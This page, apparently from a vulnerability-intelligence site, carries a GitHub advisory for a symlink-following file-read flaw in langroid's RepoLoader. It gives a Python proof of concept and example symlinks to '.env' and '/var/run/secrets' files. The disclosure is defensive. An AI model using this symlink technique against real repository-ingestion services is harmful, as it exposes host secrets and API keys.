llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · langroid

GHSA-99M6-3PVG-Q66H

RepoLoader follows symlinks and reads local files outside the ingested repository or folder

Texto original en inglés · Ver en español

Parche disponible
Descargar PNG JSON
CVSS 3.1
6.5
Media
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición119 dDesde la divulgación, 25 jul 2026, 1:09 p. m.
Detección116 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Esta la tienes controlada, confío en ti.Respira hondo: esta no muerde… todavía.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 0.65.11
Monitoreo
Detectada +1
25 jul 26
19 nov 26
21 nov 26
25 jul 26
24 ago 26
23 sept 26
23 oct 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-99M6-3PVG-Q66H divulgada · CVSS 6.5 (GitHub)
Remediación Parche 0.65.11 langroid · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

Langroid `RepoLoader` follows attacker-controlled symbolic links when ingesting a repository or local folder. As a result, a repository or directory tree that contains symlinks to host files or directories outside the intended root can cause Langroid to load those external files as documents.

This creates a local file read issue during repository or folder ingestion.

Details

The vulnerable behavior is in `langroid/parsing/repo_loader.py`, primarily in `RepoLoader.load_from_folder()` and `RepoLoader.get_documents()`.

  • `load_from_folder()` walks entries under the supplied root using `os.path.isdir()` / `os.path.isfile()` and reads files with `open()`
  • `get_documents()` collects file paths and passes them to document parsing without rejecting symlinks or ensuring that resolved paths remain within the intended root

Because symlinks are followed, a malicious repository or local directory can contain entries such as:

  • `secret.txt -> /home/app/.env`
  • `lootdir -> /var/run/secrets`

When Langroid ingests that tree, it reads the symlink targets and exposes their contents as `Document` objects even though the targets are outside the ingested repository or folder.

This is especially relevant for applications that ingest user-supplied repositories or local document trees and then expose the resulting documents to retrieval, summarization, or chat workflows.

PoC

The following script demonstrates that both `load_from_folder()` and `get_documents()` follow symlinks and load file contents from outside the intended root directory.

import tempfile
from pathlib import Path

from langroid.parsing.repo_loader import RepoLoader


with tempfile.TemporaryDirectory() as td:
    td = Path(td)
    base = td / "base"
    outside = td / "outside"
    base.mkdir()
    outside.mkdir()
    (outside / "secret.txt").write_text("HOST-SECRET", encoding="utf-8")
    (outside / "nested.txt").write_text("NESTED-SECRET", encoding="utf-8")

    (base / "link-file.txt").symlink_to(outside / "secret.txt")
    (base / "lootdir").symlink_to(outside, target_is_directory=True)

    tree, docs = RepoLoader.load_from_folder(
        str(base),
        depth=2,
        lines=20,
        file_types=["txt"],
        exclude_dirs=[],
        url="attacker/repo",
    )
    print(
        {
            "doc_sources": sorted(d.metadata.source for d in docs),
            "doc_contents": sorted(d.content for d in docs),
        }
    )

    docs2 = RepoLoader.get_documents(
        str(base),
        file_types=["txt"],
        exclude_dirs=[],
        depth=2,
        lines=20,
    )
    print(
        {
            "get_documents_sources": sorted(d.metadata.source for d in docs2),
            "get_documents_contents": sorted(d.content for d in docs2),
        }
    )

Observed result:

{
  "doc_sources": ["link-file.txt", "lootdir/nested.txt", "lootdir/secret.txt"],
  "doc_contents": ["HOST-SECRET", "HOST-SECRET", "NESTED-SECRET"]
}
{
  "get_documents_sources": ["/tmp/.../base/link-file.txt"],
  "get_documents_contents": ["HOST-SECRET"]
}

This shows that:

  • `load_from_folder()` follows both a symlinked file and a symlinked directory
  • `get_documents()` follows a symlinked file and loads the external target contents

Impact

If an application allows untrusted users to select or provide a repository, folder, or document tree for ingestion, an attacker can use symlinks to cause the server to read local files outside the intended ingestion root.

Depending on the deployment, this can expose:

  • environment files and API keys
  • source code and application configuration
  • mounted secrets and other readable host files

In hosted "chat with your repo" or document ingestion services, this can become
a server-side local file disclosure issue.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
8.3/ 10Alto
Vector 8.3 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
langroid< 0.65.11
0.65.11
0.69.22
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypilangroid
Corregida 0.65.11 0 d 0.69.22 no afectada
Versiones corregidas0.65.11
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/langroid/langroid/security/advisories/GHSA-99m6-3pvg-q66h

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.